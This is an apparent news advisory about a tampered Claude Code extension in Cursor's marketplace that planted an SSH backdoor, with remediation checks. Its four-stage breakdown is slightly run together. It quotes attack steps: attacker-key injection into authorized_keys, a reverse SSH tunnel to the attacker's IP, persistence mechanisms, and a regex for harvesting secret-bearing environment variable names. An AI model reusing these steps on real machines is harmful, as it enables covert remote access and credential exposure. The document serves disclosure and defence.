A tampered Claude Code extension, versions 2.1.312 and 2.1.313, planted an SSH backdoor via Cursor's VS Code marketplace on 29 October 2026.
Between about 2:27am and 1:35pm Pacific time on 29 October 2026, a tampered build of Anthropic's Claude Code extension sat live in the Cursor VS Code Extension Marketplace. Versions 2.1.312 and 2.1.313 for macOS and Windows carried code that planted a persistent SSH backdoor on any machine that installed or auto updated to them. Cursor pulled the listing, shut the marketplace down as a precaution, and worked with the attacker's hosting provider to take the command server offline.
Claude Code for VS Code is Anthropic's official coding-agent extension. A tampered build, distributed through the Cursor Marketplace as versions 2.1.312 and 2.1.313, added an attacker's SSH key to a victim's authorized_keys file, tried to open a reverse SSH tunnel to a server at 134.209.82.225, and reported host details back, before Cursor pulled it on 29 October 2026.
Cursor removed the malicious extension, rebuilt its marketplace and published remediation scripts once the compromise came to light. The infection chain, reconstructed by security firm Phorion and researcher Kevin Beaumont in write-ups published 30 October 2026, ran in four stages:
extension.js, before the extension's normal activate() callback, so a user did not need to interact with Claude Code for the payload to fire.svc-telemetry to ~/.ssh/authorized_keys and tried to turn on the local SSH service: systemctl or service on Linux, systemsetup -setremotelogin on on macOS, Add-WindowsCapability -Online -Name OpenSSH.Server on Windows.ssh -N -R '*:0:localhost:22', or autossh when present) out to 134.209.82.225, authenticating with a second embedded key labeled svc-telemetry-tun.com.apple.sysmond.plist on macOS, an @reboot cron entry on Linux, and a scheduled task named SysMon with a Startup-folder fallback on Windows.134.209.82.225:8099, carrying hostname, username, OS, home directory, working directory, Git email, public IP, and up to 40 environment variable names matching /KEY|TOKEN|SECRET|PASS|AWS|GCP/i. It collected the variable names, not their values.systemsetup -getremotelogin without admin rights returns an error message rather than "Off", so the script's own logic skipped enabling Remote Login on most Macs, leaving the inbound side of the tunnel pointed at a closed port 22 unless SSH was already running.An IDE extension runs with the full permissions of the editor and the user running it, so one compromised marketplace listing for a coding agent reaches straight into source code, SSH keys and environment variables on a developer's own machine. The same risk applies to any agent shipped as an IDE plugin, a CLI tool, or an MCP server distributed through a third-party marketplace rather than the maker's own channel: a single tampered build or update can reach every user who trusts the listing. Cursor's notice states the malicious build was not developed by Anthropic and that no other Cursor products were affected, which points to a hole in the marketplace's publishing pipeline rather than in Claude Code's own code.
Cursor has not said publicly how an attacker got a malicious build published under Anthropic's verified account on its marketplace, as of 31 October 2026. That question decides whether this was a one-off credential compromise or a reusable hole in how third-party extension marketplaces verify publishers. Phorion's advisory was still being updated as of 31 October 2026, after Cursor extended the list of affected versions from 2.1.313 alone to include 2.1.312, so the final scope of affected builds may not yet be settled.
Cursor's notice gives a check for each platform. On macOS, run:
grep -qs svc-telemetry ~/.ssh/authorized_keys && echo "svc-telemetry key found" || echo "No key found; machine not impacted"On Windows, run in PowerShell:
$files = "$HOME\.ssh\authorized_keys", "C:\ProgramData\ssh\administrators_authorized_keys" | Where-Object { Test-Path $_ }
if ($files -and (Select-String svc-telemetry $files)) { "svc-telemetry key found" } else { "No key found; machine not impacted" }Each check prints either "svc-telemetry key found" or "No key found; machine not impacted". If the key is found, Cursor says your machine is impacted: follow its remediation steps and run the remediation script for your platform.
No. Cursor says uninstalling the extension alone is not enough, because the payload drops standalone persistence, a LaunchAgent on macOS, a cron entry on Linux, or a scheduled task on Windows, that keeps running independently of the extension. Cursor published separate remediation scripts for macOS and Windows to remove the key, the persistence mechanism and any running tunnel process.
Versions 2.1.312 and 2.1.313 of the Anthropic.claude-code extension, for macOS and Windows, distributed only through the Cursor VS Code Extension Marketplace between about 2:27am and 1:35pm Pacific time on 29 October 2026. Cursor says it found no evidence that other versions or other distribution channels were affected.


Source: Cursor security notice Discussion: Hacker News
Developers choosing an AI coding agent or an MCP server can compare how Claude Code and Cursor stack up on AI Agents Listing.
One email a week. New agents, MCP servers and skills, and what is actually getting traction.
Agweb is an open source macOS browser for AI agents, shipped 14 November 2026 with an installable skill for Claude Code and Codex.
Edge0-AI open-sourced Edge0-145B, a 145B-parameter model it says runs coding and agent tasks on a single laptop with 29GB of peak memory.
Grep.ai open-sourced AgentRun, an Apache-2.0 platform adding self-improving skills and durable runs to Claude Code, Codex, Pi and OpenCode agents.